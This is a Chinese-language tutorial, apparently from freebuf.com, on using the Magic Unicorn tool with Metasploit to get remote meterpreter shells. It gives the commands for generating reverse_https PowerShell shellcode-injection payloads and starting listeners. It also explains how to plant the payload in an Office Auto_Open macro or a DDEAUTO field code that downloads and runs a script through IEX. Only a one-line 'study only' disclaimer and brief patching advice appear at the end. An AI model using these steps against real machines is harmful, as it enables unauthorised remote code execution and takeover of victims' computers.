Magic Unicorn 是 PowerShell 降级攻击的工具,可将 shellcode 直接注入内存,把所有 payload 都转换成 powershell 代码。只需运行 Magic Unicorn(确保安装了 Metasploit)将自动生成一个 powershell 命令,只需将 powershell 代码剪切并粘贴到命令行窗口或通过有效载荷利用。
下载及使用说明
从 git 存储库下载:https://github.com/trustedsec/unicorn.git
下载完后,进入该目录运行 unicorn.py 文件可以查看所支持方法
Powershell方式利用
利用 reverse_tcp 负载
python unicorn.py windows/meterpreter/reverse_https <lhost> <lpost>
运行之后会生成两个文件,powershell_attack.txt 和 unicorn.rc ,powershell_attack.txt 文本文件包含将 powershell 攻击注入内存所需的所有代码,unicorn.rc 是调用 Metasploit 的侦听器
需要使用以下命令运行 Metasploit “unicorn.rc”文件
msfconsole -r unicorn.rc
将powershell_attack.txt里的内容复制到目标机CMD命令行下执行 Metasploit 会收到连接
宏攻击方式利用
对于宏攻击,需要到文件里创建一个新宏,将其命名为 Auto_Open 并将生成的代码粘贴到其中,利用方式如下
python unicorn.py windows/meterpreter/reverse_https <lhost> <lpost> macro
同样会生成两个文件 powershell_attack.txt 和 unicorn.rc,新建宏如下
把 powershell_attack.txt 中的内容粘贴到新建的宏里,然后保存
运行 unicorn.rc 开始监听
运行之后会提示错误(不用管),过会将会在 Meterpreter 中成功获取会话
DDE Office COM 攻击利用方式
此利用方式将生成 DDEAUTO 放置到 Word 或 Excel 文档部件域中。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建,从而无需宏即可获得远程代码执行。
利用以下方式生成攻击模块
python unicorn.py <payload> <lhost> <lport> dde
这里会生成三个文件 powershell_attack.txt 和 unicorn.rc 文件,这两个文件是侦听器组件,download.ps1 是 powershell 注入攻击
把 powershell_attack.txt 中的内容复制
选择切换域代码更换里面内容进行保存(开头DDE要换成DDEAUTO,要不然执行不了)
打开 office 文档后,会通过 powershell 注入的 shell 这里需要注意的是 DDE 对字符大小有限制,我们需要使用 Invoke-Expression (IEX) 作为下载方法
Magic Unicorn还有其它利用方式,如 HTA 、自定义 PS1 、Cobalt Strike Beacon 、自定义Shellcode生成方法等方式,以下两个链接无宏代码执行跟混淆域代码方式,请参考
https://staaldraad.github.io/2017/10/23/msword-field-codes/
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
安全建议
1、本文仅供学习研究使用
2、及时或常更新软件补丁
3、下载官方软件,对自身做好防病毒准备
来源:freebuf.com 2021-06-01 20:03:26 by: biock
请登录后发表评论
注册